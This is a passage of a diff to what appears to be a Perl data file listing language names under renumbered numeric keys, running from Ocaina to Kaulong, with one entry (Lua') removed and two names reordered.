+   q(5192) => [
       q(Ocaina),
       ],
-   q(5189) => [
+   q(5193) => [
       q(Old Chinese),
       ],
-   q(5190) => [
+   q(5194) => [
       q(Old Cornish),
       ],
-   q(5191) => [
+   q(5195) => [
       q(Atzingo Matlatzinca),
       ],
-   q(5192) => [
+   q(5196) => [
       q(Odut),
       ],
-   q(5193) => [
+   q(5197) => [
       q(Od),
       ],
-   q(5194) => [
+   q(5198) => [
       q(Old Dutch),
       ],
-   q(5195) => [
+   q(5199) => [
       q(Odual),
       ],
-   q(5196) => [
+   q(5200) => [
       q(Ofo),
       ],
-   q(5197) => [
+   q(5201) => [
       q(Old Frisian),
       ],
-   q(5198) => [
+   q(5202) => [
       q(Efutop),
       ],
-   q(5199) => [
+   q(5203) => [
       q(Ogbia),
       ],
-   q(5200) => [
+   q(5204) => [
       q(Ogbah),
       ],
-   q(5201) => [
+   q(5205) => [
       q(Old Georgian),
       ],
-   q(5202) => [
+   q(5206) => [
       q(Ogbogolo),
       ],
-   q(5203) => [
+   q(5207) => [
       q(Khana),
       ],
-   q(5204) => [
+   q(5208) => [
       q(Ogbronuagum),
       ],
-   q(5205) => [
+   q(5209) => [
       q(Old Hittite),
       ],
-   q(5206) => [
+   q(5210) => [
       q(Old Hungarian),
       ],
-   q(5207) => [
+   q(5211) => [
       q(Oirata),
       ],
-   q(5208) => [
+   q(5212) => [
       q(Inebu One),
       ],
-   q(5209) => [
+   q(5213) => [
       q(Northwestern Ojibwa),
       ],
-   q(5210) => [
+   q(5214) => [
       q(Central Ojibwa),
       ],
-   q(5211) => [
+   q(5215) => [
       q(Eastern Ojibwa),
       ],
-   q(5212) => [
+   q(5216) => [
       q(Old Japanese),
       ],
-   q(5213) => [
+   q(5217) => [
       q(Severn Ojibwa),
       ],
-   q(5214) => [
+   q(5218) => [
       q(Ontong Java),
       ],
-   q(5215) => [
+   q(5219) => [
       q(Western Ojibwa),
       ],
-   q(5216) => [
+   q(5220) => [
       q(Okanagan),
       ],
-   q(5217) => [
+   q(5221) => [
       q(Okobo),
       ],
-   q(5218) => [
+   q(5222) => [
       q(Okodia),
       ],
-   q(5219) => [
+   q(5223) => [
       q(Okpe (Southwestern Edo)),
       ],
-   q(5220) => [
+   q(5224) => [
       q(Koko Babangk),
       ],
-   q(5221) => [
+   q(5225) => [
       q(Koresh-e Rostam),
       ],
-   q(5222) => [
+   q(5226) => [
       q(Okiek),
       ],
-   q(5223) => [
+   q(5227) => [
       q(Oko-Juwoi),
       ],
-   q(5224) => [
+   q(5228) => [
       q(Kwamtim One),
       ],
-   q(5225) => [
+   q(5229) => [
       q(Old Kentish Sign Language),
       ],
-   q(5226) => [
+   q(5230) => [
       q(Middle Korean (10th-16th cent.)),
       ],
-   q(5227) => [
+   q(5231) => [
       q(Oki-No-Erabu),
       ],
-   q(5228) => [
+   q(5232) => [
       q(Old Korean (3rd-9th cent.)),
       ],
-   q(5229) => [
+   q(5233) => [
       q(Kirike),
       ],
-   q(5230) => [
+   q(5234) => [
       q(Oko-Eni-Osayen),
       ],
-   q(5231) => [
+   q(5235) => [
       q(Oku),
       ],
-   q(5232) => [
+   q(5236) => [
       q(Orokaiva),
       ],
-   q(5233) => [
+   q(5237) => [
       q(Okpe (Northwestern Edo)),
       ],
-   q(5234) => [
+   q(5238) => [
       q(Walungge),
       ],
-   q(5235) => [
+   q(5239) => [
       q(Mochi),
       ],
-   q(5236) => [
+   q(5240) => [
       q(Olekha),
       ],
-   q(5237) => [
+   q(5241) => [
       q(Olkol),
       ],
-   q(5238) => [
+   q(5242) => [
       q(Oloma),
       ],
-   q(5239) => [
+   q(5243) => [
       q(Livvi),
       ],
-   q(5240) => [
+   q(5244) => [
       q(Olrat),
       ],
-   q(5241) => [
+   q(5245) => [
       q(Old Lithuanian),
       ],
-   q(5242) => [
+   q(5246) => [
       q(Kuvale),
       ],
-   q(5243) => [
+   q(5247) => [
       q(Omaha-Ponca),
       ],
-   q(5244) => [
+   q(5248) => [
       q(East Ambae),
       ],
-   q(5245) => [
+   q(5249) => [
       q(Mochica),
       ],
-   q(5246) => [
+   q(5250) => [
       q(Omagua),
       ],
-   q(5247) => [
+   q(5251) => [
       q(Omi),
       ],
-   q(5248) => [
+   q(5252) => [
       q(Omok),
       ],
-   q(5249) => [
+   q(5253) => [
       q(Ombo),
       ],
-   q(5250) => [
+   q(5254) => [
       q(Minoan),
       ],
-   q(5251) => [
+   q(5255) => [
       q(Utarmbung),
       ],
-   q(5252) => [
+   q(5256) => [
       q(Old Manipuri),
       ],
-   q(5253) => [
+   q(5257) => [
       q(Old Marathi),
       ],
-   q(5254) => [
+   q(5258) => [
       q(Omotik),
       ],
-   q(5255) => [
+   q(5259) => [
       q(Omurano),
       ],
-   q(5256) => [
+   q(5260) => [
       q(South Tairora),
       ],
-   q(5257) => [
+   q(5261) => [
       q(Old Mon),
       ],
-   q(5258) => [
+   q(5262) => [
       q(Ona),
       ],
-   q(5259) => [
+   q(5263) => [
       q(Lingao),
       ],
-   q(5260) => [
+   q(5264) => [
       q(Oneida),
       ],
-   q(5261) => [
+   q(5265) => [
       q(Olo),
       ],
-   q(5262) => [
+   q(5266) => [
       q(Onin),
       ],
-   q(5263) => [
+   q(5267) => [
       q(Onjob),
       ],
-   q(5264) => [
+   q(5268) => [
       q(Kabore One),
       ],
-   q(5265) => [
+   q(5269) => [
       q(Onobasulu),
       ],
-   q(5266) => [
+   q(5270) => [
       q(Onondaga),
       ],
-   q(5267) => [
+   q(5271) => [
       q(Sartang),
       ],
-   q(5268) => [
+   q(5272) => [
       q(Northern One),
       ],
-   q(5269) => [
+   q(5273) => [
       q(Ono),
       ],
-   q(5270) => [
+   q(5274) => [
       q(Ontenu),
       ],
-   q(5271) => [
+   q(5275) => [
       q(Unua),
       ],
-   q(5272) => [
+   q(5276) => [
       q(Old Nubian),
       ],
-   q(5273) => [
+   q(5277) => [
       q(Onin Based Pidgin),
       ],
-   q(5274) => [
+   q(5278) => [
       q(Tohono O'odham),
       ],
-   q(5275) => [
+   q(5279) => [
       q(Ong),
       ],
-   q(5276) => [
+   q(5280) => [
       q(Onge),
       ],
-   q(5277) => [
+   q(5281) => [
       q(Oorlams),
       ],
-   q(5278) => [
+   q(5282) => [
       q(Old Ossetic),
       ],
-   q(5279) => [
+   q(5283) => [
       q(Okpamheri),
       ],
-   q(5280) => [
+   q(5284) => [
       q(Kopkaka),
       ],
-   q(5281) => [
+   q(5285) => [
       q(Oksapmin),
       ],
-   q(5282) => [
+   q(5286) => [
       q(Opao),
       ],
-   q(5283) => [
+   q(5287) => [
       q(Opata),
       ],
-   q(5284) => [
+   q(5288) => [
       q(Ofaye),
       ],
-   q(5285) => [
+   q(5289) => [
       q(Oroha),
       ],
-   q(5286) => [
+   q(5290) => [
       q(Orma),
       ],
-   q(5287) => [
+   q(5291) => [
       q(Orejon),
       ],
-   q(5288) => [
+   q(5292) => [
       q(Oring),
       ],
-   q(5289) => [
+   q(5293) => [
       q(Oroqen),
       ],
-   q(5290) => [
+   q(5294) => [
       q(Orang Kanaq),
       ],
-   q(5291) => [
+   q(5295) => [
       q(Orokolo),
       ],
-   q(5292) => [
+   q(5296) => [
       q(Oruma),
       ],
-   q(5293) => [
+   q(5297) => [
       q(Orang Seletar),
       ],
-   q(5294) => [
+   q(5298) => [
       q(Adivasi Oriya),
       ],
-   q(5295) => [
+   q(5299) => [
       q(Ormuri),
       ],
-   q(5296) => [
+   q(5300) => [
       q(Old Russian),
       ],
-   q(5297) => [
+   q(5301) => [
       q(Oro Win),
       ],
-   q(5298) => [
+   q(5302) => [
       q(Oro),
       ],
-   q(5299) => [
+   q(5303) => [
       q(Odia (individual language)),
       q(Oriya (individual language)),
       ],
-   q(5300) => [
+   q(5304) => [
       q(Ormu),
       ],
-   q(5301) => [
+   q(5305) => [
       q(Oscan),
       ],
-   q(5302) => [
+   q(5306) => [
       q(Osing),
       ],
-   q(5303) => [
+   q(5307) => [
       q(Ososo),
       ],
-   q(5304) => [
+   q(5308) => [
       q(Old Spanish),
       ],
-   q(5305) => [
+   q(5309) => [
       q(Osatu),
       ],
-   q(5306) => [
+   q(5310) => [
       q(Southern One),
       ],
-   q(5307) => [
+   q(5311) => [
       q(Old Saxon),
       ],
-   q(5308) => [
+   q(5312) => [
       q(Old Tibetan),
       ],
-   q(5309) => [
+   q(5313) => [
       q(Ot Danum),
       ],
-   q(5310) => [
+   q(5314) => [
       q(Mezquital Otomi),
       ],
-   q(5311) => [
+   q(5315) => [
       q(Oti),
       ],
-   q(5312) => [
+   q(5316) => [
       q(Old Turkish),
       ],
-   q(5313) => [
+   q(5317) => [
       q(Tilapa Otomi),
       ],
-   q(5314) => [
+   q(5318) => [
       q(Eastern Highland Otomi),
       ],
-   q(5315) => [
+   q(5319) => [
       q(Tenango Otomi),
       ],
-   q(5316) => [
+   q(5320) => [
       q(Queretaro Otomi),
       ],
-   q(5317) => [
+   q(5321) => [
       q(Otoro),
       ],
-   q(5318) => [
+   q(5322) => [
       q(Estado de Mexico Otomi),
       ],
-   q(5319) => [
+   q(5323) => [
       q(Temoaya Otomi),
       ],
-   q(5320) => [
+   q(5324) => [
       q(Otuke),
       ],
-   q(5321) => [
+   q(5325) => [
       q(Ottawa),
       ],
-   q(5322) => [
+   q(5326) => [
       q(Texcatepec Otomi),
       ],
-   q(5323) => [
+   q(5327) => [
       q(Old Tamil),
       ],
-   q(5324) => [
+   q(5328) => [
       q(Ixtenco Otomi),
       ],
-   q(5325) => [
+   q(5329) => [
       q(Tagargrent),
       ],
-   q(5326) => [
+   q(5330) => [
       q(Glio-Oubi),
       ],
-   q(5327) => [
+   q(5331) => [
       q(Oune),
       ],
-   q(5328) => [
+   q(5332) => [
       q(Old Uighur),
       ],
-   q(5329) => [
+   q(5333) => [
       q(Ouma),
       ],
-   q(5330) => [
+   q(5334) => [
+      q(Elfdalian),
       q(Ovdalian),
-      q(Elfdalian),
       ],
-   q(5331) => [
+   q(5335) => [
       q(Owiniga),
       ],
-   q(5332) => [
+   q(5336) => [
       q(Old Welsh),
       ],
-   q(5333) => [
+   q(5337) => [
       q(Oy),
       ],
-   q(5334) => [
+   q(5338) => [
       q(Oyda),
       ],
-   q(5335) => [
+   q(5339) => [
       q(Wayampi),
       ],
-   q(5336) => [
+   q(5340) => [
       q(Oya'oya),
       ],
-   q(5337) => [
+   q(5341) => [
       q(Koonzime),
       ],
-   q(5338) => [
+   q(5342) => [
       q(Parecis),
       ],
-   q(5339) => [
+   q(5343) => [
       q(Pacoh),
       ],
-   q(5340) => [
+   q(5344) => [
       q(Paumari),
       ],
-   q(5341) => [
+   q(5345) => [
       q(Pagibete),
       ],
-   q(5342) => [
+   q(5346) => [
       q(Paranawat),
       ],
-   q(5343) => [
+   q(5347) => [
       q(Tenharim),
       ],
-   q(5344) => [
+   q(5348) => [
       q(Pe),
       ],
-   q(5345) => [
+   q(5349) => [
       q(Parakana),
       ],
-   q(5346) => [
+   q(5350) => [
       q(Northern Paiute),
       ],
-   q(5347) => [
+   q(5351) => [
       q(Parya),
       ],
-   q(5348) => [
+   q(5352) => [
       q(Panamint),
       q(Timbisha),
       ],
-   q(5349) => [
+   q(5353) => [
       q(Papasena),
       ],
-   q(5350) => [
+   q(5354) => [
       q(Papitalai),
       ],
-   q(5351) => [
+   q(5355) => [
       q(Pakaasnovos),
       ],
-   q(5352) => [
+   q(5356) => [
       q(Pawnee),
       ],
-   q(5353) => [
+   q(5357) => [
       q(Pankarare),
       ],
-   q(5354) => [
+   q(5358) => [
       q(Pech),
       ],
-   q(5355) => [
+   q(5359) => [
       q(Pankararu),
       ],
-   q(5356) => [
+   q(5360) => [
       q(Paez),
       ],
-   q(5357) => [
+   q(5361) => [
       q(Patamona),
       ],
-   q(5358) => [
+   q(5362) => [
       q(Mezontla Popoloca),
       ],
-   q(5359) => [
+   q(5363) => [
       q(Coyotepec Popoloca),
       ],
-   q(5360) => [
+   q(5364) => [
       q(Paraujano),
       ],
-   q(5361) => [
+   q(5365) => [
       q(E'napa Woromaipu),
       ],
-   q(5362) => [
+   q(5366) => [
       q(Parkwa),
       ],
-   q(5363) => [
+   q(5367) => [
       q(Mak (Nigeria)),
       ],
-   q(5364) => [
+   q(5368) => [
       q(Kpasam),
       ],
-   q(5365) => [
+   q(5369) => [
       q(Papel),
       ],
-   q(5366) => [
+   q(5370) => [
       q(Badyara),
       ],
-   q(5367) => [
+   q(5371) => [
       q(Pangwa),
       ],
-   q(5368) => [
+   q(5372) => [
       q(Central Pame),
       ],
-   q(5369) => [
+   q(5373) => [
       q(Southern Pashto),
       ],
-   q(5370) => [
+   q(5374) => [
       q(Northern Pashto),
       ],
-   q(5371) => [
+   q(5375) => [
       q(Pnar),
       ],
-   q(5372) => [
+   q(5376) => [
       q(Pyu (Papua New Guinea)),
       ],
-   q(5373) => [
+   q(5377) => [
       q(Santa Ines Ahuatempan Popoloca),
       ],
-   q(5374) => [
+   q(5378) => [
       q(Pear),
       ],
-   q(5375) => [
+   q(5379) => [
       q(Bouyei),
       ],
-   q(5376) => [
+   q(5380) => [
       q(Picard),
       ],
-   q(5377) => [
+   q(5381) => [
       q(Ruching Palaung),
       ],
-   q(5378) => [
+   q(5382) => [
       q(Paliyan),
       ],
-   q(5379) => [
+   q(5383) => [
       q(Paniya),
       ],
-   q(5380) => [
+   q(5384) => [
       q(Pardhan),
       ],
-   q(5381) => [
+   q(5385) => [
       q(Duruwa),
       ],
-   q(5382) => [
+   q(5386) => [
       q(Parenga),
       ],
-   q(5383) => [
+   q(5387) => [
       q(Paite Chin),
       ],
-   q(5384) => [
+   q(5388) => [
       q(Pardhi),
       ],
-   q(5385) => [
+   q(5389) => [
       q(Nigerian Pidgin),
       ],
-   q(5386) => [
+   q(5390) => [
       q(Piti),
       ],
-   q(5387) => [
+   q(5391) => [
       q(Pacahuara),
       ],
-   q(5388) => [
+   q(5392) => [
       q(Pyapun),
       ],
-   q(5389) => [
+   q(5393) => [
       q(Anam),
       ],
-   q(5390) => [
+   q(5394) => [
       q(Pennsylvania German),
       ],
-   q(5391) => [
+   q(5395) => [
       q(Pa Di),
       ],
-   q(5392) => [
+   q(5396) => [
       q(Podena),
       q(Fedan),
       ],
-   q(5393) => [
+   q(5397) => [
       q(Padoe),
       ],
-   q(5394) => [
+   q(5398) => [
       q(Plautdietsch),
       ],
-   q(5395) => [
+   q(5399) => [
       q(Kayan),
       ],
-   q(5396) => [
+   q(5400) => [
       q(Peranakan Indonesian),
       ],
-   q(5397) => [
+   q(5401) => [
       q(Eastern Pomo),
       ],
-   q(5398) => [
+   q(5402) => [
       q(Mala (Papua New Guinea)),
       ],
-   q(5399) => [
+   q(5403) => [
       q(Taje),
       ],
-   q(5400) => [
+   q(5404) => [
       q(Northeastern Pomo),
       ],
-   q(5401) => [
+   q(5405) => [
       q(Pengo),
       ],
-   q(5402) => [
+   q(5406) => [
       q(Bonan),
       ],
-   q(5403) => [
+   q(5407) => [
       q(Chichimeca-Jonaz),
       ],
-   q(5404) => [
+   q(5408) => [
       q(Northern Pomo),
       ],
-   q(5405) => [
+   q(5409) => [
       q(Penchal),
       ],
-   q(5406) => [
+   q(5410) => [
       q(Pekal),
       ],
-   q(5407) => [
+   q(5411) => [
       q(Phende),
       ],
-   q(5408) => [
+   q(5412) => [
       q(Kunja),
       ],
-   q(5409) => [
+   q(5413) => [
       q(Southern Pomo),
       ],
-   q(5410) => [
+   q(5414) => [
       q(Iranian Persian),
       ],
-   q(5411) => [
+   q(5415) => [
       q(Pemono),
       ],
-   q(5412) => [
+   q(5416) => [
       q(Petats),
       ],
-   q(5413) => [
+   q(5417) => [
       q(Petjo),
       ],
-   q(5414) => [
+   q(5418) => [
       q(Eastern Penan),
       ],
-   q(5415) => [
+   q(5419) => [
       q(Paafang),
       ],
-   q(5416) => [
+   q(5420) => [
       q(Peere),
       ],
-   q(5417) => [
+   q(5421) => [
       q(Pfaelzisch),
       ],
-   q(5418) => [
+   q(5422) => [
       q(Sudanese Creole Arabic),
       ],
-   q(5419) => [
+   q(5423) => [
       q(Gandhari),
       ],
-   q(5420) => [
+   q(5424) => [
       q(Pangwali),
       ],
-   q(5421) => [
+   q(5425) => [
       q(Pagi),
       ],
-   q(5422) => [
+   q(5426) => [
       q(Rerep),
       ],
-   q(5423) => [
+   q(5427) => [
       q(Primitive Irish),
       ],
-   q(5424) => [
+   q(5428) => [
       q(Paelignian),
       ],
-   q(5425) => [
+   q(5429) => [
       q(Pangseng),
       ],
-   q(5426) => [
+   q(5430) => [
       q(Pagu),
       ],
-   q(5427) => [
+   q(5431) => [
       q(Papua New Guinean Sign Language),
       ],
-   q(5428) => [
+   q(5432) => [
       q(Pa-Hng),
       ],
-   q(5429) => [
+   q(5433) => [
       q(Phudagi),
       ],
-   q(5430) => [
+   q(5434) => [
       q(Phuong),
       ],
-   q(5431) => [
+   q(5435) => [
       q(Phukha),
       ],
-   q(5432) => [
+   q(5436) => [
       q(Phake),
       ],
-   q(5433) => [
+   q(5437) => [
       q(Phalura),
       q(Palula),
       ],
-   q(5434) => [
+   q(5438) => [
       q(Phimbi),
       ],
-   q(5435) => [
+   q(5439) => [
       q(Phunoi),
       ],
-   q(5436) => [
+   q(5440) => [
       q(Phana'),
       ],
-   q(5437) => [
+   q(5441) => [
       q(Pahari-Potwari),
       ],
-   q(5438) => [
+   q(5442) => [
       q(Phu Thai),
       ],
-   q(5439) => [
+   q(5443) => [
       q(Phuan),
       ],
-   q(5440) => [
+   q(5444) => [
       q(Pahlavani),
       ],
-   q(5441) => [
+   q(5445) => [
       q(Phangduwali),
       ],
-   q(5442) => [
+   q(5446) => [
       q(Pima Bajo),
       ],
-   q(5443) => [
+   q(5447) => [
       q(Yine),
       ],
-   q(5444) => [
+   q(5448) => [
       q(Pinji),
       ],
-   q(5445) => [
+   q(5449) => [
       q(Piaroa),
       ],
-   q(5446) => [
+   q(5450) => [
       q(Piro),
       ],
-   q(5447) => [
+   q(5451) => [
       q(Pingelapese),
       ],
-   q(5448) => [
+   q(5452) => [
       q(Pisabo),
       ],
-   q(5449) => [
+   q(5453) => [
       q(Pitcairn-Norfolk),
       ],
-   q(5450) => [
+   q(5454) => [
       q(Pini),
       ],
-   q(5451) => [
+   q(5455) => [
       q(Pijao),
       ],
-   q(5452) => [
+   q(5456) => [
       q(Yom),
       ],
-   q(5453) => [
+   q(5457) => [
       q(Powhatan),
       ],
-   q(5454) => [
+   q(5458) => [
       q(Piame),
       ],
-   q(5455) => [
+   q(5459) => [
       q(Piapoco),
       ],
-   q(5456) => [
+   q(5460) => [
       q(Pero),
       ],
-   q(5457) => [
+   q(5461) => [
       q(Piratapuyo),
       ],
-   q(5458) => [
+   q(5462) => [
       q(Pijin),
       ],
-   q(5459) => [
+   q(5463) => [
       q(Pitta Pitta),
       ],
-   q(5460) => [
+   q(5464) => [
       q(Pintupi-Luritja),
       ],
-   q(5461) => [
+   q(5465) => [
       q(Pileni),
       q(Vaeakau-Taumako),
       ],
-   q(5462) => [
+   q(5466) => [
       q(Pimbwe),
       ],
-   q(5463) => [
+   q(5467) => [
       q(Piu),
       ],
-   q(5464) => [
+   q(5468) => [
       q(Piya-Kwonci),
       ],
-   q(5465) => [
+   q(5469) => [
       q(Pije),
       ],
-   q(5466) => [
+   q(5470) => [
       q(Pitjantjatjara),
       ],
-   q(5467) => [
+   q(5471) => [
       q(Ardhamagadhi Prakrit),
       ],
-   q(5468) => [
+   q(5472) => [
       q(Pokomo),
       q(Kipfokomo),
       ],
-   q(5469) => [
+   q(5473) => [
       q(Paekche),
       ],
-   q(5470) => [
+   q(5474) => [
       q(Pak-Tong),
       ],
-   q(5471) => [
+   q(5475) => [
       q(Pankhu),
       ],
-   q(5472) => [
+   q(5476) => [
       q(Pakanha),
       ],
-   q(5473) => [
+   q(5477) => [
       q(Pokoot),
       ],
-   q(5474) => [
+   q(5478) => [
       q(Pukapuka),
       ],
-   q(5475) => [
+   q(5479) => [
       q(Attapady Kurumba),
       ],
-   q(5476) => [
+   q(5480) => [
       q(Pakistan Sign Language),
       ],
-   q(5477) => [
+   q(5481) => [
       q(Maleng),
       ],
-   q(5478) => [
+   q(5482) => [
       q(Paku),
       ],
-   q(5479) => [
+   q(5483) => [
       q(Miani),
       ],
-   q(5480) => [
+   q(5484) => [
       q(Polonombauk),
       ],
-   q(5481) => [
+   q(5485) => [
       q(Central Palawano),
       ],
-   q(5482) => [
+   q(5486) => [
       q(Polari),
       ],
-   q(5483) => [
+   q(5487) => [
       q(Palu'e),
       ],
-   q(5484) => [
+   q(5488) => [
       q(Pilaga),
       ],
-   q(5485) => [
+   q(5489) => [
       q(Paulohi),
       ],
-   q(5486) => [
+   q(5490) => [
       q(Polci),
       ],
-   q(5487) => [
+   q(5491) => [
       q(Kohistani Shina),
       ],
-   q(5488) => [
+   q(5492) => [
       q(Shwe Palaung),
       ],
-   q(5489) => [
+   q(5493) => [
       q(Palenquero),
       ],
-   q(5490) => [
+   q(5494) => [
       q(Oluta Popoluca),
       ],
-   q(5491) => [
+   q(5495) => [
       q(Palpa),
       ],
-   q(5492) => [
+   q(5496) => [
       q(Palaic),
       ],
-   q(5493) => [
+   q(5497) => [
       q(Palaka Senoufo),
       ],
-   q(5494) => [
+   q(5498) => [
       q(San Marcos Tlacoyalco Popoloca),
       q(San Marcos Tlalcoyalco Popoloca),
       ],
-   q(5495) => [
+   q(5499) => [
       q(Plateau Malagasy),
       ],
-   q(5496) => [
+   q(5500) => [
       q(Palikur),
       ],
-   q(5497) => [
+   q(5501) => [
       q(Southwest Palawano),
       ],
-   q(5498) => [
+   q(5502) => [
       q(Brooke's Point Palawano),
       ],
-   q(5499) => [
+   q(5503) => [
       q(Bolyu),
       ],
-   q(5500) => [
+   q(5504) => [
       q(Paluan),
       ],
-   q(5501) => [
+   q(5505) => [
       q(Paama),
       ],
-   q(5502) => [
+   q(5506) => [
       q(Pambia),
       ],
-   q(5503) => [
+   q(5507) => [
       q(Pallanganmiddang),
       ],
-   q(5504) => [
+   q(5508) => [
       q(Pwaamei),
       ],
-   q(5505) => [
+   q(5509) => [
       q(Pamona),
       ],
-   q(5506) => [
+   q(5510) => [
       q(Maharastri Prakrit),
       ],
-   q(5507) => [
+   q(5511) => [
       q(Northern Pumi),
       ],
-   q(5508) => [
+   q(5512) => [
       q(Southern Pumi),
       ],
-   q(5509) => [
+   q(5513) => [
       q(Pamlico),
       ],
-   q(5510) => [
+   q(5514) => [
       q(Lingua Franca),
       ],
-   q(5511) => [
+   q(5515) => [
       q(Pomo),
       ],
-   q(5512) => [
+   q(5516) => [
       q(Pam),
       ],
-   q(5513) => [
+   q(5517) => [
       q(Pom),
       ],
-   q(5514) => [
+   q(5518) => [
       q(Northern Pame),
       ],
-   q(5515) => [
+   q(5519) => [
       q(Paynamar),
       ],
-   q(5516) => [
+   q(5520) => [
       q(Piemontese),
       ],
-   q(5517) => [
+   q(5521) => [
       q(Tuamotuan),
       ],
-   q(5518) => [
+   q(5522) => [
       q(Plains Miwok),
       ],
-   q(5519) => [
+   q(5523) => [
       q(Poumei Naga),
       ],
-   q(5520) => [
+   q(5524) => [
       q(Papuan Malay),
       ],
-   q(5521) => [
+   q(5525) => [
       q(Southern Pame),
       ],
-   q(5522) => [
+   q(5526) => [
       q(Punan Bah-Biau),
       ],
-   q(5523) => [
+   q(5527) => [
       q(Western Panjabi),
       ],
-   q(5524) => [
+   q(5528) => [
       q(Pannei),
       ],
-   q(5525) => [
+   q(5529) => [
       q(Western Penan),
       ],
-   q(5526) => [
+   q(5530) => [
       q(Pongu),
       ],
-   q(5527) => [
+   q(5531) => [
       q(Penrhyn),
       ],
-   q(5528) => [
+   q(5532) => [
       q(Aoheng),
       ],
-   q(5529) => [
+   q(5533) => [
       q(Pinjarup),
       ],
-   q(5530) => [
+   q(5534) => [
       q(Paunaka),
       ],
-   q(5531) => [
+   q(5535) => [
       q(Paleni),
       ],
-   q(5532) => [
+   q(5536) => [
       q(Punan Batu 1),
       ],
-   q(5533) => [
+   q(5537) => [
       q(Pinai-Hagahai),
       ],
-   q(5534) => [
+   q(5538) => [
       q(Panobo),
       ],
-   q(5535) => [
+   q(5539) => [
       q(Pancana),
       ],
-   q(5536) => [
+   q(5540) => [
       q(Pana (Burkina Faso)),
       ],
-   q(5537) => [
+   q(5541) => [
       q(Panim),
       ],
-   q(5538) => [
+   q(5542) => [
       q(Ponosakan),
       ],
-   q(5539) => [
+   q(5543) => [
       q(Pontic),
       ],
-   q(5540) => [
+   q(5544) => [
       q(Jiongnai Bunu),
       ],
-   q(5541) => [
+   q(5545) => [
       q(Pinigura),
       ],
-   q(5542) => [
+   q(5546) => [
       q(Panytyima),
       ],
-   q(5543) => [
+   q(5547) => [
       q(Phong-Kniang),
       ],
-   q(5544) => [
+   q(5548) => [
       q(Pinyin),
       ],
-   q(5545) => [
+   q(5549) => [
       q(Pana (Central African Republic)),
       ],
-   q(5546) => [
+   q(5550) => [
       q(Poqomam),
       ],
-   q(5547) => [
+   q(5551) => [
       q(San Juan Atzingo Popoloca),
       ],
-   q(5548) => [
+   q(5552) => [
       q(Poke),
       ],
-   q(5549) => [
+   q(5553) => [
       q(Potiguara),
       ],
-   q(5550) => [
+   q(5554) => [
       q(Poqomchi'),
       ],
-   q(5551) => [
+   q(5555) => [
       q(Highland Popoluca),
       ],
-   q(5552) => [
+   q(5556) => [
       q(Pokanga),
       ],
-   q(5553) => [
+   q(5557) => [
       q(Southeastern Pomo),
       ],
-   q(5554) => [
+   q(5558) => [
       q(Central Pomo),
       ],
-   q(5555) => [
+   q(5559) => [
       q(Pwapwa),
       ],
-   q(5556) => [
+   q(5560) => [
       q(Texistepec Popoluca),
       ],
-   q(5557) => [
+   q(5561) => [
       q(Sayula Popoluca),
       ],
-   q(5558) => [
+   q(5562) => [
       q(Potawatomi),
       ],
-   q(5559) => [
+   q(5563) => [
       q(Upper Guinea Crioulo),
       ],
-   q(5560) => [
+   q(5564) => [
       q(San Felipe Otlaltepec Popoloca),
       ],
-   q(5561) => [
+   q(5565) => [
       q(Polabian),
       ],
-   q(5562) => [
+   q(5566) => [
       q(Pogolo),
       ],
-   q(5563) => [
+   q(5567) => [
       q(Papi),
       ],
-   q(5564) => [
+   q(5568) => [
       q(Paipai),
       ],
-   q(5565) => [
+   q(5569) => [
       q(Uma),
       ],
-   q(5566) => [
+   q(5570) => [
       q(Pipil),
       q(Nicarao),
       ],
-   q(5567) => [
+   q(5571) => [
       q(Papuma),
       ],
-   q(5568) => [
+   q(5572) => [
       q(Papapana),
       ],
-   q(5569) => [
+   q(5573) => [
       q(Folopa),
       ],
-   q(5570) => [
+   q(5574) => [
       q(Pelende),
       ],
-   q(5571) => [
+   q(5575) => [
       q(Pei),
       ],
-   q(5572) => [
+   q(5576) => [
       q(San Luis Temalacayuca Popoloca),
       ],
-   q(5573) => [
+   q(5577) => [
       q(Pare),
       ],
-   q(5574) => [
+   q(5578) => [
       q(Papora),
       ],
-   q(5575) => [
+   q(5579) => [
       q(Pa'a),
       ],
-   q(5576) => [
+   q(5580) => [
       q(Malecite-Passamaquoddy),
       ],
-   q(5577) => [
-      q(Lua'),
-      ],
-   q(5578) => [
+   q(5581) => [
       q(Parachi),
       ],
-   q(5579) => [
+   q(5582) => [
       q(Parsi-Dari),
       ],
-   q(5580) => [
+   q(5583) => [
       q(Principense),
       ],
-   q(5581) => [
+   q(5584) => [
       q(Paranan),
       ],
-   q(5582) => [
+   q(5585) => [
       q(Prussian),
       ],
-   q(5583) => [
+   q(5586) => [
       q(Porohanon),
       ],
-   q(5584) => [
+   q(5587) => [
       q(Paici),
       ],
-   q(5585) => [
+   q(5588) => [
       q(Parauk),
       ],
-   q(5586) => [
+   q(5589) => [
       q(Peruvian Sign Language),
       ],
-   q(5587) => [
+   q(5590) => [
       q(Kibiri),
       ],
-   q(5588) => [
+   q(5591) => [
       q(Prasuni),
       ],
-   q(5589) => [
+   q(5592) => [
       q(Parsi),
       ],
-   q(5590) => [
+   q(5593) => [
       q(Asheninka Perene),
       ],
-   q(5591) => [
+   q(5594) => [
       q(Puri),
       ],
-   q(5592) => [
+   q(5595) => [
       q(Dari),
       q(Afghan Persian),
       ],
-   q(5593) => [
+   q(5596) => [
       q(Phai),
       ],
-   q(5594) => [
+   q(5597) => [
       q(Puragi),
       ],
-   q(5595) => [
+   q(5598) => [
       q(Parawen),
       ],
-   q(5596) => [
+   q(5599) => [
       q(Purik),
       ],
-   q(5597) => [
+   q(5600) => [
       q(Providencia Sign Language),
       ],
-   q(5598) => [
+   q(5601) => [
       q(Asue Awyu),
       ],
-   q(5599) => [
+   q(5602) => [
       q(Persian Sign Language),
       ],
-   q(5600) => [
+   q(5603) => [
       q(Plains Indian Sign Language),
       ],
-   q(5601) => [
+   q(5604) => [
       q(Central Malay),
       ],
-   q(5602) => [
+   q(5605) => [
       q(Penang Sign Language),
       ],
-   q(5603) => [
+   q(5606) => [
       q(Southwest Pashai),
       q(Southwest Pashayi),
       ],
-   q(5604) => [
+   q(5607) => [
       q(Southeast Pashai),
       q(Southeast Pashayi),
       ],
-   q(5605) => [
+   q(5608) => [
       q(Puerto Rican Sign Language),
       ],
-   q(5606) => [
+   q(5609) => [
       q(Pauserna),
       ],
-   q(5607) => [
+   q(5610) => [
       q(Panasuan),
       ],
-   q(5608) => [
+   q(5611) => [
       q(Polish Sign Language),
       ],
-   q(5609) => [
+   q(5612) => [
       q(Philippine Sign Language),
       ],
-   q(5610) => [
+   q(5613) => [
       q(Pasi),
       ],
-   q(5611) => [
+   q(5614) => [
       q(Portuguese Sign Language),
       ],
-   q(5612) => [
+   q(5615) => [
       q(Kaulong),
       ],
-   q(5613) => [
